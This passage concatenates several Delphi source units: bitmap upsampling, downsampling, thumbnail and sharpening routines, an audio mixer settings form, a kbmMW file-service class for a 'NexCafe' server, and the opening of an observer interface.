RowDest := integer(Work.Scanline[0]);
RowSourceStart := integer(Src.Scanline[0]);
RowSource := RowSourceStart;
for y := 0 to h do begin
dy := ysteps[y];
x1 := 0;
x3 := 0;
for x := 0 to w do begin
dx := xsteps[x];
totalRed := 0;
totalGreen := 0;
totalBlue := 0;
RowSource := RowSourceStart;
for iy := 1 to dy do
begin
p := PRGB24(RowSource + x1);
for ix := 1 to dx do begin
totalRed := totalRed + p^.r;
totalGreen := totalGreen + p^.g;
totalBlue := totalBlue + p^.b;
inc(p);
end;
RowSource := RowSource - ptrS;
end;
pt1 := PRGB24(RowDest + x3);
ratio := alphas[dx - dxmin, dy - dymin];
pt1^.r := (totalRed * ratio) shr 16;
pt1^.g := (totalGreen * ratio) shr 16;
pt1^.b := (totalBlue * ratio) shr 16;
x1 := x1 + 3 * dx;
x3 := x3 + 3;
end;
RowDest := RowDest - ptrD;
RowSourceStart := RowSource;
end;
SharpenMod(Work, Dest, min(1 + 0.4 * (xscale - 1),2.5));
Work.Free;
end;
type
TStep = record
Steps, jump: integer;
weights: array[0..3] of integer;
end;
TStepsArray = array of TStep;
procedure MakeWeights(xscale, yscale: Single; xw, yh, xsw, ysh, SourceBytes: integer; var xsteps, ysteps: TStepsArray);
var i, j: integer;
x, xcenter: integer;
intscale, Left,
newleft, newright, radInt,
maxsteps: integer;
fact: single;
Weight, total: integer;
function filter(x: integer): integer;
begin
if x < -$10000 then
Result := 0
else
if x < 0 then
Result := x + $10000
else
if x < $10000 then
Result := $10000 - x
else
Result := 0;
end;
begin
SetLength(xsteps, xw);
SetLength(ysteps, yh);
//xswint := (xsw - 2) * $100;
// yshint := (ysh - 2) * $100;
intscale := round(xscale * $10000);
radInt := round(1 * $10000);
//won't work if xcale > $10000/2, because then intscale
//exceeds 32bit integer. I don't see that happening.
Left := 0;
xcenter := 0;
for i := 0 to xw - 1 do
begin
newleft := max(xcenter - radInt, 0) shr 16;
newright := (xcenter + radInt + $FFFF) shr 16;
if newright >= xsw then newright := xsw - 1;
maxsteps := newright - newleft;
newleft := newleft - 1;
with xsteps[i] do
begin
//x := newleft shl 16;
Total := 0;
j := -1;
Weight := 0;
while (Weight = 0) and (j <= maxsteps) do
begin
inc(newleft);
x := newleft shl 16;
Weight := filter(xcenter - x);
inc(j);
end;
Steps := -1;
x := newleft shl 16;
while (j <= maxsteps) and (Weight > 0) do
begin
Total := Total + Weight;
inc(Steps);
weights[Steps] := weight;
inc(x, $10000);
inc(j);
Weight := filter(xcenter - x);
end;
if Steps >= 0 then
begin
fact := $1000 / Total;
for j := 0 to Steps do
weights[j] := round(weights[j] * fact);
end
else
begin
Steps := 0;
newleft := newleft - 1;
weights[0] := $1000;
end;
end;
xsteps[i].jump := 3 * (newleft - left);
Left := newleft;
inc(xcenter, intscale);
end;
intscale := round(yscale * $10000);
Left := 0;
xcenter := 0;
for i := 0 to yh - 1 do
begin
newleft := max(xcenter - radInt, 0) shr 16;
newright := (xcenter + radInt + $FFFF) shr 16;
if newright >= ysh then newright := ysh - 1;
maxsteps := newright - newleft;
newleft := newleft - 1;
with ysteps[i] do
begin
// x := newleft shl 16;
Total := 0;
j := -1;
Weight := 0;
while (Weight = 0) and (j <= maxsteps) do
begin
inc(newleft);
x := newleft shl 16;
Weight := filter(xcenter - x);
inc(j);
end;
Steps := -1;
x := newleft shl 16;
while (j <= maxsteps) and (Weight > 0) do
begin
Total := Total + Weight;
inc(Steps);
weights[Steps] := weight;
inc(x, $10000);
inc(j);
Weight := filter(xcenter - x);
end;
if Steps >= 0 then
begin
fact := $1000 / Total;
for j := 0 to Steps do
weights[j] := round(weights[j] * fact);
end
else
begin
Steps := 0;
newleft := newleft - 1;
weights[0] := $1000;
end;
end;
ysteps[i].jump := SourceBytes * (newleft - left);
Left := newleft;
inc(xcenter, intscale);
end;
end;
procedure Upsample(const Src, Dest: TBitmap);
var
xscale, yscale: Single;
x1: integer;
ix, iy: integer;
totalRed, totalGreen, totalBlue: integer;
xRed, xGreen, xBlue: integer;
ratio: integer;
p: PRGB24;
q: PByte;
pt1: PRGB24;
ptrD, ptrS: integer;
x, y: integer;
r1, r2: TRect;
x3: integer;
RowDest, RowSource, RowSourceStart: integer;
xsteps, ysteps: TStepsArray;
w, h, dxmin, dymin: integer;
xweight, yweight: integer;
dx, dy: integer;
xstart, ystart: PByte;
begin
if (Src.Width <= 2) or (Src.Height <= 2) then
raise Exception.Create('Source must have width and height >2');
if (Dest.Width <= Src.Width) or (Dest.Height <= Src.Height) then
begin
r1 := Rect(0, 0, Src.Width, Src.Height);
r2 := r1;
OffsetRect(r2, (Dest.Width - Src.Width) div 2, (Dest.Height - Src.Height) div 2);
Dest.Canvas.CopyRect(r2, Src.Canvas, r1);
exit;
end;
Src.PixelFormat := pf24bit;
Dest.PixelFormat := pf24bit; //safety
w := Dest.Width;
h := Dest.Height;
ptrD := (w * 24 + 31) and not 31;
ptrD := ptrD div 8; //BytesPerScanline
ptrS := (Src.Width * 24 + 31) and not 31;
ptrS := ptrS div 8;
xscale := (Src.Width - 1) / (w - 1);
yscale := (Src.Height - 1) / (h - 1); //turns div into mults
MakeWeights(xscale, yscale, w, h, Src.Width, Src.Height, -ptrS, xsteps, ysteps);
//Make 3 lookup tables for the steps and the ratios
w := w - 1;
h := h - 1;
RowDest := integer(Dest.Scanline[0]);
//RowSourceStart := integer(Src.Scanline[0]);
//RowSource := RowSourceStart;
xstart := Src.Scanline[0];
ystart := xstart;
for y := 0 to h do begin
dy := ysteps[y].Steps;
x3 := 0;
inc(ystart, ysteps[y].jump);
xstart := ystart;
for x := 0 to w do begin
dx := xsteps[x].Steps;
inc(xstart, xsteps[x].jump);
totalRed := 0;
totalGreen := 0;
totalBlue := 0; //shut up compiler
q := xstart;
for iy := 0 to dy do
begin
yweight := ysteps[y].weights[iy];
p := PRGB24(q);
xweight := xsteps[x].weights[0];
xRed := xweight * p^.r;
xGreen := xweight * p^.g;
xBlue := xweight * p^.b;
for ix := 1 to dx do
begin
inc(p);
xweight := xsteps[x].weights[ix];
xRed := xRed + xweight * p^.r;
xGreen := xGreen + xweight * p^.g;
xBlue := xBlue + xweight * p^.b;
end;
// xRed := (xRed + $7FFF) shr 16;
// xGreen := (xGreen + $7FFF) shr 16;
// xBlue := (xBlue + $7FFF) shr 16;
if iy = 0 then
begin
totalRed := yweight * xRed;
totalGreen := yweight * xGreen;
totalBlue := yweight * xBlue;
inc(q, -ptrS);
end
else
begin
totalRed := totalRed + yweight * xRed;
totalGreen := totalGreen + yweight * xGreen;
totalBlue := totalBlue + yweight * xBlue;
inc(q, -ptrS);
end;
end;
pt1 := PRGB24(RowDest + x3);
//.ratio. := alphas[dx - 1, dy - 1];
pt1^.r := (totalRed + $7FFFFF) shr 24;
pt1^.g := (totalGreen + $7FFFFF) shr 24;
pt1^.b := (totalBlue + $7FFFFF) shr 24;
x3 := x3 + 3;
end;
RowDest := RowDest - ptrD;
end;
end;
type
TDownStep = record
steps, jump: integer;
weights: array of integer;
end;
TDownStepsArray = array of TDownStep;
procedure MakeDownWeights(xscale, yscale: Single; xw, yh, xsw, ysh, SourceBytes: integer; var xsteps, ysteps: TDownStepsArray);
var i, j: integer;
x, xcenter: integer;
intscale, Left,
newleft, newright, radInt,
maxsteps: integer;
fact: single;
Weight, total: integer;
function filter(x: integer): integer;
begin
if x < -intscale then
Result := 0
else
if x < 0 then
Result := x + intscale
else
if x < intscale then
Result := intscale - x
else
Result := 0;
end;
begin
SetLength(xsteps, xw);
SetLength(ysteps, yh);
//xswint := (xsw - 2) * $100;
// yshint := (ysh - 2) * $100;
intscale := round(xscale * $100);
radInt := intscale; //radius=1
//won't work if xcale > $10000/2, because then intscale
//exceeds 32bit integer. I don't see that happening.
Left := 0;
xcenter := 0;
for i := 0 to xw - 1 do
begin
newleft := max(xcenter - radInt, 0) shr 8;
newright := (xcenter + radInt + $FF) shr 8;
if newright >= xsw then newright := xsw - 1;
maxsteps := newright - newleft;
newleft := newleft - 1;
with xsteps[i] do
begin
SetLength(weights, maxsteps + 1);
Total := 0;
j := -1;
Weight := 0;
while (Weight = 0) and (j <= maxsteps) do
begin
inc(newleft);
x := newleft shl 8;
Weight := filter(xcenter - x);
inc(j);
end;
Steps := -1;
x := newleft shl 8;
while (j <= maxsteps) and (Weight > 0) do
begin
Total := Total + Weight;
inc(Steps);
weights[Steps] := weight;
inc(x, $100);
inc(j);
Weight := filter(xcenter - x);
end;
if Steps >= 0 then
begin
fact := $1000 / Total;
for j := 0 to Steps do
weights[j] := round(weights[j] * fact);
end
else
begin
Steps := 0;
newleft := newleft - 1;
weights[0] := $1000;
end;
end;
xsteps[i].jump := 3 * (newleft - left);
Left := newleft;
inc(xcenter, intscale);
end;
intscale := round(yscale * $100);
Left := 0;
xcenter := 0;
for i := 0 to yh - 1 do
begin
newleft := max(xcenter - radInt, 0) shr 8;
newright := (xcenter + radInt + $FF) shr 8;
if newright >= ysh then newright := ysh - 1;
maxsteps := newright - newleft;
newleft := newleft - 1;
with ysteps[i] do
begin
setlength(weights, maxsteps + 1);
Total := 0;
j := -1;
Weight := 0;
while (Weight = 0) and (j <= maxsteps) do
begin
inc(newleft);
x := newleft shl 8;
Weight := filter(xcenter - x);
inc(j);
end;
Steps := -1;
x := newleft shl 8;
while (j <= maxsteps) and (Weight > 0) do
begin
Total := Total + Weight;
inc(Steps);
weights[Steps] := weight;
inc(x, $100);
inc(j);
Weight := filter(xcenter - x);
end;
if Steps >= 0 then
begin
fact := $1000 / Total;
for j := 0 to Steps do
weights[j] := round(weights[j] * fact);
end
else
begin
Steps := 0;
newleft := newleft - 1;
weights[0] := $1000;
end;
end;
ysteps[i].jump := SourceBytes * (newleft - left);
Left := newleft;
inc(xcenter, intscale);
end;
end;
procedure Downsample(Src, Dest: TBitmap);
var
xscale, yscale: Single;
x1: integer;
ix, iy: integer;
totalRed, totalGreen, totalBlue: integer;
xRed, xGreen, xBlue: integer;
ratio: integer;
p: PRGB24;
q: PByte;
pt1: PRGB24;
ptrD, ptrS: integer;
x, y: integer;
r1, r2: TRect;
x3: integer;
RowDest, RowSource, RowSourceStart: integer;
xsteps, ysteps: TDownStepsArray;
w, h, dxmin, dymin: integer;
xweight, yweight: integer;
dx, dy: integer;
xstart, ystart: PByte;
begin
if (Src.Width <= 2) or (Src.Height <= 2) then
raise Exception.Create('Source must have width and height >2');
if (Dest.Width >= Src.Width) or (Dest.Height >= Src.Height) then
begin
r1 := Rect(0, 0, Src.Width, Src.Height);
r2 := r1;
OffsetRect(r2, (Dest.Width - Src.Width) div 2, (Dest.Height - Src.Height) div 2);
Dest.Canvas.CopyRect(r2, Src.Canvas, r1);
exit;
end;
Src.PixelFormat := pf24bit;
Dest.PixelFormat := pf24bit; //safety
w := Dest.Width;
h := Dest.Height;
ptrD := (w * 24 + 31) and not 31;
ptrD := ptrD div 8; //BytesPerScanline
ptrS := (Src.Width * 24 + 31) and not 31;
ptrS := ptrS div 8;
xscale := (Src.Width - 1) / (w - 1);
yscale := (Src.Height - 1) / (h - 1); //turns div into mults
MakeDownWeights(xscale, yscale, w, h, Src.Width, Src.Height, -ptrS, xsteps, ysteps);
//Make 3 lookup tables for the steps and the ratios
w := w - 1;
h := h - 1;
RowDest := integer(Dest.Scanline[0]);
//RowSourceStart := integer(Src.Scanline[0]);
//RowSource := RowSourceStart;
xstart := Src.Scanline[0];
ystart := xstart;
for y := 0 to h do begin
dy := ysteps[y].Steps;
x3 := 0;
inc(ystart, ysteps[y].jump);
xstart := ystart;
for x := 0 to w do begin
dx := xsteps[x].Steps;
inc(xstart, xsteps[x].jump);
totalRed := 0;
totalGreen := 0;
totalBlue := 0;
q := xstart;
for iy := 0 to dy do
begin
yweight := ysteps[y].weights[iy];
p := PRGB24(q);
xweight := xsteps[x].weights[0];
xRed := xweight * p^.r;
xGreen := xweight * p^.g;
xBlue := xweight * p^.b;
for ix := 1 to dx do
begin
inc(p);
xweight := xsteps[x].weights[ix];
inc(xRed, xweight * p^.r);
inc(xGreen, xweight * p^.g);
inc(xBlue, xweight * p^.b);
end;
// xRed := (xRed + $7FFF) shr 16;
// xGreen := (xGreen + $7FFF) shr 16;
// xBlue := (xBlue + $7FFF) shr 16;
if iy = 0 then
begin
totalRed := yweight * xRed;
totalGreen := yweight * xGreen;
totalBlue := yweight * xBlue;
inc(q, -ptrS);
end
else
begin
inc(totalRed, yweight * xRed);
inc(totalGreen, yweight * xGreen);
inc(totalBlue, yweight * xBlue);
inc(q, -ptrS);
end;
end;
pt1 := PRGB24(RowDest + x3);
//.ratio. := alphas[dx - 1, dy - 1];
pt1^.r := (totalRed + $7FFFFF) shr 24;
pt1^.g := (totalGreen + $7FFFFF) shr 24;
pt1^.b := (totalBlue + $7FFFFF) shr 24;
x3 := x3 + 3;
end;
RowDest := RowDest - ptrD;
end;
end;
procedure MakeThumb(const Src, Dest: TBitmap);
begin
if Src.Height > Dest.Height then
DownSample(Src, Dest)
else
Upsample(Src, Dest);
end;
type TFloatarray = array of array of Single;
procedure MakeAlphasFloat(xscale, yscale: Single; xw, yh: integer; var dxmin, dymin: integer; var alphas: TFloatarray; var xsteps, ysteps: TIntArray);
var i, j: integer;
x1, x2: integer;
dxmax, dymax: integer;
fact: Single;
begin
SetLength(xsteps, xw);
SetLength(ysteps, yh);
x1 := 0;
x2 := trunc(xscale);
for i := 0 to xw - 1 do
begin
xsteps[i] := x2 - x1;
x1 := x2;
x2 := trunc((i + 2) * xscale);
end;
dxmin := Ceil(xscale - 1);
dxmax := trunc(xscale + 1);
x1 := 0;
x2 := trunc(yscale);
for i := 0 to yh - 1 do
begin
ysteps[i] := x2 - x1;
x1 := x2;
x2 := trunc((i + 2) * yscale);
end;
dymin := Ceil(yscale - 1);
dymax := trunc(yscale + 1);
SetLength(alphas, dxmax - dxmin + 1, dymax - dymin + 1);
for i := 0 to dxmax - dxmin do
begin
fact := 1 / (dxmin + i);
for j := 0 to dymax - dymin do
alphas[i, j] := fact / (dymin + j);
end;
end;
procedure MakeThumbNailFloat(const Src, Dest: TBitmap);
var
xscale, yscale: Single;
x1: integer;
ix, iy: integer;
totalRed, totalGreen, totalBlue: integer;
ratio: Single;
p: PRGB24;
pt1: PRGB24;
ptrD, ptrS: integer;
x, y: integer;
r1, r2: TRect;
x3: integer;
RowDest, RowSource, RowSourceStart: integer;
alphas: TFloatarray;
xsteps, ysteps: TIntArray;
w, h, dxmin, dymin: integer;
dx, dy: integer;
begin
if (Dest.Width <= 0) or (Dest.Height <= 0) then
raise Exception.Create('Destination must have positive width and height');
if (Dest.Width >= Src.Width) or (Dest.Height >= Src.Height) then
begin
r1 := Rect(0, 0, Src.Width, Src.Height);
r2 := r1;
OffsetRect(r2, (Dest.Width - Src.Width) div 2, (Dest.Height - Src.Height) div 2);
Dest.Canvas.CopyRect(r2, Src.Canvas, r1);
exit;
end;
Src.PixelFormat := pf24bit;
Dest.PixelFormat := pf24bit; //safety
w := Dest.Width;
h := Dest.Height;
ptrD := (w * 24 + 31) and not 31;
ptrD := ptrD div 8; //BytesPerScanline
ptrS := (Src.Width * 24 + 31) and not 31;
ptrS := ptrS div 8;
xscale := Src.Width / w;
yscale := Src.Height / h; //turns div into mults
MakeAlphasFloat(xscale, yscale, w, h, dxmin, dymin, alphas, xsteps, ysteps);
//Make 3 lookup tables for the steps and the ratios
w := w - 1;
h := h - 1;
RowDest := integer(Dest.Scanline[0]);
RowSourceStart := integer(Src.Scanline[0]);
RowSource := RowSourceStart;
for y := 0 to h do begin
dy := ysteps[y];
x1 := 0;
x3 := 0;
for x := 0 to w do begin
dx := xsteps[x];
totalRed := 0;
totalGreen := 0;
totalBlue := 0;
RowSource := RowSourceStart;
for iy := 1 to dy do
begin
p := PRGB24(RowSource + x1);
for ix := 1 to dx do begin
totalRed := totalRed + p^.r;
totalGreen := totalGreen + p^.g;
totalBlue := totalBlue + p^.b;
inc(p);
end;
RowSource := RowSource - ptrS;
end;
pt1 := PRGB24(RowDest + x3);
ratio := alphas[dx - dxmin, dy - dymin];
pt1^.r := round(totalRed * ratio);
pt1^.g := round(totalGreen * ratio);
pt1^.b := round(totalBlue * ratio);
x1 := x1 + 3 * dx;
x3 := x3 + 3;
end;
RowDest := RowDest - ptrD;
RowSourceStart := RowSource;
end;
end;
procedure MakeThumbNail(Src, Dest: TBitmap);
// By Roy Magne Klever
//The src image is the original bitmap you want to downscale, dest is the
//bitmap to write the thumbnail into.
//NB! they must be 24 bit!
// NB! Only downscaling supported and only prop... but exelent quality...
var
xscale, yscale: double;
x1, x2, y1, y2: integer;
ix, iy: integer;
totalRed, totalGreen, totalBlue: double;
ratio: double;
p: PRGB24;
pt1: PRGB24;
ptrD, ptrS: integer;
s1, s3: PLine24;
x, y: integer;
yrat: double;
r1, r2: TRect;
begin
if (Dest.Width >= Src.Width) or (Dest.Height >= Src.Height) then
begin
r1 := Rect(0, 0, Src.Width, Src.Height);
r2 := r1;
OffsetRect(r2, (Dest.Width - Src.Width) div 2, (Dest.Height - Src.Height) div 2);
Dest.Canvas.CopyRect(r2, Src.Canvas, r1);
exit;
end;
s1 := Dest.Scanline[0];
ptrD := integer(Dest.Scanline[1]) - integer(s1);
s3 := Src.Scanline[0];
ptrS := integer(Src.Scanline[1]) - integer(s3);
xscale := Src.Width / Dest.Width; //Dest.Width / Src.Width;
yscale := Src.Height / Dest.Height;
y1 := 0;
y2 := trunc(yscale) - 1;
for y := 0 to Dest.Height - 1 do begin
//y1 := trunc(y / yscale);
//y2 := trunc((y + 1) / yscale) - 1;
yrat := 1 / (y2 + 1 - y1);
x1 := 0;
x2 := trunc(xscale) - 1;
for x := 0 to Dest.Width - 1 do begin
//x1 := trunc(x / xscale);
//x2 := trunc((x + 1) / xscale) - 1;
totalRed := 0;
totalGreen := 0;
totalBlue := 0;
for iy := y1 to y2 do
for ix := x1 to x2 do begin
p := PRGB24(ptrS * iy + (ix * 3) + integer(s3));
totalRed := totalRed + p^.r;
totalGreen := totalGreen + p^.g;
totalBlue := totalBlue + p^.b;
end;
ratio := 1 / (x2 - x1 + 1) * yrat;
pt1 := PRGB24(ptrD * y + (x * 3) + integer(s1));
pt1.r := round(totalRed * ratio);
pt1.g := round(totalGreen * ratio);
pt1.b := round(totalBlue * ratio);
x1 := x2 + 1;
x2 := trunc(xscale * (x + 2)) - 1;
end;
y1 := y2 + 1;
y2 := trunc(yscale * (y + 2)) - 1;
end;
end;
procedure SharpenMod(const Src, Dest: TBitmap; alpha: Single);
//to sharpen, alpha must be >1.
var
i, j, k: integer;
sr: array[0..2] of PByte;
st: array[0..4] of pRGBTriple;
tr: PByte;
tt, p: pRGBTriple;
beta: Single;
fracb: integer;
inta: integer;
//at, bt: PAlphaTable;
bmh, bmw: integer;
re, gr, bl: integer;
BytesPerScanline: integer;
//sumre, sumgr, sumbl: array[0..2] of integer;
begin
if (Src.Width < 3) or (Src.Height < 3) then
raise Exception.Create('Bitmap is too small');
if alpha <= 1 then
raise Exception.Create('Alpha must be >1');
if alpha >= 6 then
raise Exception.Create('Alpha must be <6');
beta := (alpha - 1) / 5; //we assume alpha>1 and beta<1
fracb := round(beta * $10000);
//sharpening is blending of the current pixel
//with the average of the surrounding ones,
//but with a negative weight for the average
inta := round(alpha * $10000);
Src.PixelFormat := pf24bit;
Dest.PixelFormat := pf24bit;
Dest.Width := Src.Width;
Dest.Height := Src.Height;
bmw := Src.Width - 2;
bmh := Src.Height - 2;
BytesPerScanline := ((bmw + 2) * 24 + 31) and not 31;
BytesPerScanline := BytesPerScanline div 8;
tr := Dest.Scanline[0];
tt := pRGBTriple(tr);
sr[0] := Src.Scanline[0];
st[0] := pRGBTriple(sr[0]);
for j := 0 to bmw + 1 do
begin
tt^ := st[0]^;
inc(tt); inc(st[0]); //first row unchanged
end;
sr[1] := PByte(integer(sr[0]) - BytesPerScanline);
sr[2] := PByte(integer(sr[1]) - BytesPerScanline);
for i := 1 to bmh do
begin
Dec(tr, BytesPerScanline);
tt := pRGBTriple(tr);
st[0] := pRGBTriple(integer(sr[0]) + 3); //top
st[1] := pRGBTriple(sr[1]); //left
st[2] := pRGBTriple(integer(sr[1]) + 3); //center
st[3] := pRGBTriple(integer(sr[1]) + 6); //right
st[4] := pRGBTriple(integer(sr[2]) + 3); //bottom
tt^ := st[1]^; //1st col unchanged
for j := 1 to bmw do
begin
//calcutate average weighted by -beta
re := 0; gr := 0; bl := 0;
for k := 0 to 4 do
begin
re := re + st[k]^.rgbtRed; {- bt^[st[k]^.rgbtRed];}
gr := gr + st[k]^.rgbtGreen; {- bt^[st[k]^.rgbtGreen];}
bl := bl + st[k]^.rgbtBlue; {- bt^[st[k]^.rgbtBlue];}
inc(st[k]);
end;
re := (fracb * re + $7FFF) shr 16;
gr := (fracb * gr + $7FFF) shr 16;
bl := (fracb * bl + $7FFF) shr 16;
//add center pixel weighted by alpha
p := pRGBTriple(st[1]); //after inc, st[1] is at center
re := (inta * p^.rgbtRed + $7FFF) shr 16 - re;
gr := (inta * p^.rgbtGreen + $7FFF) shr 16 - gr;
bl := (inta * p^.rgbtBlue + $7FFF) shr 16 - bl;
//clamp and move into target pixel
inc(tt);
if re < 0 then //this is my inline version of ClampByte.
re := 0
else
if re > 255 then
re := 255;
if gr < 0 then
gr := 0
else
if gr > 255 then
gr := 255;
if bl < 0 then
bl := 0
else
if bl > 255 then
bl := 255;
tt^.rgbtRed := re;
tt^.rgbtGreen := gr;
tt^.rgbtBlue := bl;
end;
inc(tt);
inc(st[1]);
tt^ := st[1]^; //Last col unchanged
sr[0] := sr[1];
sr[1] := sr[2];
Dec(sr[2], BytesPerScanline);
end;
// copy last row
Dec(tr, BytesPerScanline);
tt := pRGBTriple(tr);
st[1] := pRGBTriple(sr[1]);
for j := 0 to bmw + 1 do
begin
tt^ := st[1]^;
inc(tt); inc(st[1]);
end;
end;
procedure Tween3(const sbm1, sbm2, tbm: TBitmap; const at, bt: PAlphaTable {; const t: TBitsArray});
var
SP1, SP2, TargetP: pRGBTriple;
SR1, SR2, TargetR: PByte;
j, k, w, h: integer;
BytesPerScanline: integer;
begin
w := sbm1.Width;
h := sbm1.Height;
BytesPerScanline := (w * 24 + 31) and not 31;
BytesPerScanline := BytesPerScanline div 8;
SR1 := sbm1.Scanline[0];
SR2 := sbm2.Scanline[0];
TargetR := tbm.Scanline[0];
for j := 0 to h - 1 do
begin
SP1 := pRGBTriple(SR1); SP2 := pRGBTriple(SR2); TargetP := pRGBTriple(TargetR);
for k := 0 to w - 1 do
begin
TargetP.rgbtBlue := at^[SP1.rgbtBlue] + bt^[SP2.rgbtBlue];
TargetP.rgbtGreen := at^[SP1.rgbtGreen] + bt^[SP2.rgbtGreen];
TargetP.rgbtRed := at^[SP1.rgbtRed] + bt^[SP2.rgbtRed];
inc(TargetP); inc(SP1); inc(SP2);
end;
Dec(SR1, BytesPerScanline); Dec(SR2, BytesPerScanline); Dec(TargetR, BytesPerScanline);
end;
end;
function ScreenRect(AControl: TControl): TRect;
begin
Result.TopLeft := AControl.ClientToScreen(Point(0, 0));
Result.Right := Result.Left + AControl.Width;
Result.Bottom := Result.Top + AControl.Height;
end;
procedure DrawSelFrame(AControl: TControl; dx, dy: integer);
var r: TRect;
ScreenDC: HDC;
begin
ScreenDC := GetDC(0);
try
r := ScreenRect(AControl);
OffsetRect(r, dx, dy);
DrawFocusRect(ScreenDC, r);
finally
ReleaseDC(0, ScreenDC);
end;
end;
initialization
MakeFracAlphaTable;
makejpegtables;
end.
|
unit UnitMixerAudio;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, AMixer, Buttons, ExtCtrls;
type
TFormMixer = class(TForm)
GroupBox1: TGroupBox;
CbScard: TComboBox;
GroupBox2: TGroupBox;
CbSource: TComboBox;
GroupBox3: TGroupBox;
TbVol: TTrackBar;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
procedure FormCreate(Sender: TObject);
procedure CbScardChange(Sender: TObject);
procedure CbSourceChange(Sender: TObject);
procedure TbVolChange(Sender: TObject);
procedure MixerControlChange(Sender: TObject; MixerH, ID: Integer);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FormMixer: TFormMixer;
Mixer: TAudioMixer;
VolChangingDelay: Byte;
DefsCard: String;
DefsSource: String;
DefsVolume: Integer = -1;
implementation
uses UnitMainForm, UnitSineGenerator;
{$R *.dfm}
procedure TFormMixer.FormCreate(Sender: TObject);
begin
Mixer := TAudioMixer.Create(Self);
Mixer.OnControlChange := MixerControlChange;
Mixer.OnLineChange := MixerControlChange;
if Mixer.MixerCount = 0 then // Jesli nie znaleziono kart muzycznych
begin
GroupBox1.Enabled := False;
GroupBox2.Enabled := False;
GroupBox3.Enabled := False;
end else
begin
GroupBox1.Enabled := True;
GroupBox2.Enabled := True;
GroupBox3.Enabled := True;
end; //Mixer.MixerCount > 0
end;
procedure TFormMixer.CbScardChange(Sender: TObject);
var n: Integer;
mute: Boolean;
begin
if VolChanging = False then
begin
VolChanging := True;
unitMainForm.AudioIn.StopAtOnce;
Mixer.MixerId := CbScard.ItemIndex;
CbSource.Items.Clear;
for n := 0 to Mixer.Destinations[1].Connections.Count-1 do
begin
CbSource.Items.Add(Mixer.Destinations[1].Connections[n].Data.szName);
Mixer.GetMute(1, n, mute);
if mute = True then CbSource.ItemIndex := n; //ustaw domyslne wejscie
end;
if CbSource.ItemIndex =-1 then CbSource.ItemIndex := 0;
Application.ProcessMessages;
CbSourceChange(Sender);
unitMainForm.AudioIn.WaveDevice := CbScard.ItemIndex;
unitMainForm.AudioIn.Start(unitMainForm.AudioIn);
VolChanging := False;
end;
end;
procedure TFormMixer.CbSourceChange(Sender: TObject);
var L,R,M:Integer;
VD,MD:Boolean;
Stereo:Boolean;
IsSelect:Boolean;
begin
Mixer.GetVolume (1,CbSource.ItemIndex, L, R, M, Stereo, VD, MD, IsSelect);
//if VolChanging = False then
begin
//VolChanging := True;
TbVol.Position := L;
// Application.ProcessMessages;
//VolChanging := False;
end;
end;
procedure TFormMixer.TbVolChange(Sender: TObject);
begin
if VolChanging = False then
begin
VolChanging := True;
Application.ProcessMessages;
Mixer.SetVolume(1,CbSource.ItemIndex, TbVol.Position, TbVol.Position, 1);
VolChanging := False;
end;
end;
procedure TFormMixer.MixerControlChange(Sender: TObject; MixerH, ID: Integer);
begin
if VolChanging = False then
begin
VolChanging := True;
CbScardChange(Self);
VolChanging := False;
end;
end;
procedure TFormMixer.SpeedButton1Click(Sender: TObject);
begin
WinExec('rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2',SW_SHOWNORMAL);
end;
procedure TFormMixer.SpeedButton2Click(Sender: TObject);
begin
FormSineGenerator.Show;
end;
end.
|
unit ncMWFileServer;
// =========================================================================
// kbmMW - An advanced and extendable middleware framework.
// by Components4Developers (http://www.components4developers.com)
//
// Service generated by kbmMW service wizard.
//
// INSTRUCTIONS FOR REGISTRATION/USAGE
// -----------------------------------
// Please update the uses clause of the datamodule/form the TkbmMWServer is placed on by adding kbmMWFileService
// to it. Eg.
//
// uses ...,kbmMWServer,kbmMWFileService;
//
// Somewhere in your application, make sure to register the serviceclass to the TkbmMWServer instance. Eg.
//
// var
// sd:TkbmMWCustomServiceDefinition;
// ..
// sd:=kbmMWServer1.RegisterService(yourserviceclassname,false);
//
// Set the last parameter to true if this is the default service.
//
//
// SPECIFIC FILE SERVICE REGISTRATION INSTRUCTIONS
// -----------------------------------------------
// Cast the returned service definition object (sd) to a TkbmMWFileServiceDefinition. eg:
//
// var
// fsd:TkbmMWFileServiceDefinition;
// ..
// fsd:=TkbmMWFileServiceDefinition(sd)
// fsd.RootPath:='NexCafe\Atualiza';
// fsd.BlockSize:=8192;
// fsd.ListAttributesOptional:=false;
// fsd.ListAttributes:=faReadOnly+faDirectory+faArchive;
// fsd.StorageAttributes:=faArchive;
// -----------------------------------------------
{$I kbmMW.inc}
interface
uses
SysUtils, {$ifdef LEVEL6}Variants{$else}Forms{$endif}, Classes, kbmMWSecurity, kbmMWServer, kbmMWGlobal, kbmMWFileService;
type
TmwFileServer = class(TkbmMWFileService)
procedure kbmMWFileServiceFileAccess(Sender: TObject; Path: string;
var AccessPermissions: TkbmMWFileAccessPermissions);
procedure kbmMWFileServiceAuthenticate(Sender: TObject;
ClientIdent: TkbmMWClientIdentity; var Perm: TkbmMWAccessPermissions);
private
{ Private declarations }
protected
{ Private declarations }
public
{ Public declarations }
{$IFNDEF CPP}class{$ENDIF} function GetPrefServiceName:string; override;
{$IFNDEF CPP}class{$ENDIF} function GetFlags:TkbmMWServiceFlags; override;
end;
implementation
uses ncMWServer;
{$R *.dfm}
// Service definitions.
//---------------------
{$IFNDEF CPP}class{$ENDIF} function TmwFileServer.GetPrefServiceName:string;
begin
Result:='NexCafeFileServer';
end;
procedure TmwFileServer.kbmMWFileServiceAuthenticate(Sender: TObject;
ClientIdent: TkbmMWClientIdentity; var Perm: TkbmMWAccessPermissions);
begin
inherited;
Perm := [mwapRead];
end;
procedure TmwFileServer.kbmMWFileServiceFileAccess(Sender: TObject;
Path: string; var AccessPermissions: TkbmMWFileAccessPermissions);
begin
inherited;
AccessPermissions := [mwfapGet, mwfapPut];
end;
{$IFNDEF CPP}class{$ENDIF} function TmwFileServer.GetFlags:TkbmMWServiceFlags;
begin
Result:=[mwsfListed];
end;
end. |
unit Vigilante.Configuracao.Observer;
interface
uses
Vigilante.Configuracao;
type
IConfiguracaoObserver = interface(IInterface)
['{E02F4230-5052-4C3F-BC3B-719F9CC620A2}']
